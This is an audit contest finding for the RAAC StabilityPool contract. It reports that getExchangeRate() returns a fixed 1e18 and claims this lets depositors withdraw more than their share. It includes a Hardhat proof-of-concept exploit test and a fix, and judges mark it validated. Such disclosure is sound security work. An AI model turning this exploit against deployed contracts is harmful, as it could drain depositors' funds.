Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Fixed Exchange Rate in StabilityPool Allows Excessive Withdrawals

Summary

2025-02-raac/contracts/core/pools/StabilityPool/StabilityPool.sol at main · Cyfrin/2025-02-raac

The StabilityPool contract contains a critical vulnerability in its getExchangeRate() function. Instead of dynamically calculating the exchange rate based on the actual supply and demand of rToken and deToken, it always returns a constant 1e18. This allows an attacker to mint deTokens at an artificially low cost and later withdraw more than their fair share, draining funds from the pool.

You can spot the usage of this function in the withdraw and deposit functions:

2025-02-raac/contracts/core/pools/StabilityPool/StabilityPool.sol at main · Cyfrin/2025-02-raac

2025-02-raac/contracts/core/pools/StabilityPool/StabilityPool.sol at main · Cyfrin/2025-02-raac

Vulnerability Details

The getExchangeRate() function should compute the exchange rate dynamically based on total deposits and available liquidity:

function getExchangeRate() public view returns (uint256) {
uint256 totalDeCRVUSD = deToken.totalSupply();
uint256 totalRcrvUSD = rToken.balanceOf(address(this));
if (totalDeCRVUSD == 0 || totalRcrvUSD == 0) return 10**18;
uint256 scalingFactor = 10**(18 + deTokenDecimals - rTokenDecimals);
return (totalRcrvUSD * scalingFactor) / totalDeCRVUSD;
}

However, the current implementation ignores this logic and simply returns 1e18:

2025-02-raac/contracts/core/pools/StabilityPool/StabilityPool.sol at main · Cyfrin/2025-02-raac

function getExchangeRate() public view returns (uint256) {
return 1e18;
}

The POC test demonstrates how an attacker can deposit at an artificially low rate, then withdraw an excessive amount, extracting free value.

it.only("Exploit exchange rate", async function () {
// Step 1: Initial deposit
let depositAmount = ethers.parseEther("5");
await stabilityPool.connect(user2).deposit(depositAmount);
// Step 2: Check rToken amount (should change dynamically but doesn't)
console.log("rToken Amount for 5 ETH deposit:", await stabilityPool.calculateRcrvUSDAmount(depositAmount));
// Step 3: Increase deposit amount to manipulate deToken supply
depositAmount = ethers.parseEther("10");
await stabilityPool.connect(user2).deposit(depositAmount);
// Step 4: Check rToken calculation again
console.log("rToken Amount for 10 ETH deposit:", await stabilityPool.calculateRcrvUSDAmount(depositAmount));
// Step 5: Get the faulty exchange rate
const exchangeRate = await stabilityPool.getExchangeRate();
console.log("Faulty Exchange Rate:", exchangeRate.toString()); // Always 1e18
// Step 6: Withdraw full balance and check if the user gets more than deposited
const deTokenBalance = await deToken.balanceOf(user2.address);
console.log("User2 deToken Balance Before Withdrawal:", deTokenBalance.toString());
await stabilityPool.connect(user2).withdraw(deTokenBalance);
const finalBalance = await rToken.balanceOf(user2.address);
console.log("User2 Final rToken Balance After Withdrawal:", finalBalance.toString());
// Step 7: Exploit success check - user extracts more than deposited
expect(finalBalance).to.be.greaterThan(ethers.parseEther("15")); // More than 15 ETH withdrawn
});

Impact

Its a High, as this bug allows users to withdraw more than their fair share, leading to pool depletion and loss of funds for other depositors.

Attackers will continuously deposit and withdraw to extract extra funds.

Users who deposit later could face losses as exploiters drain liquidity.

Tools Used

Hardhat

Recommendations

Uncomment the lines of code in the getExchangeRate function to dynamically calculate exchange rates based on liquidity:

function getExchangeRate() public view returns (uint256) {
uint256 totalDeCRVUSD = deToken.totalSupply();
uint256 totalRcrvUSD = rToken.balanceOf(address(this));
if (totalDeCRVUSD == 0 || totalRcrvUSD == 0) return 10**18;
uint256 scalingFactor = 10**(18 + deTokenDecimals - rTokenDecimals);
return (totalRcrvUSD * scalingFactor) / totalDeCRVUSD;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::getExchangeRate hardcodes 1:1 ratio instead of calculating real rate, enabling unlimited deToken minting against limited reserves

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::getExchangeRate hardcodes 1:1 ratio instead of calculating real rate, enabling unlimited deToken minting against limited reserves

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.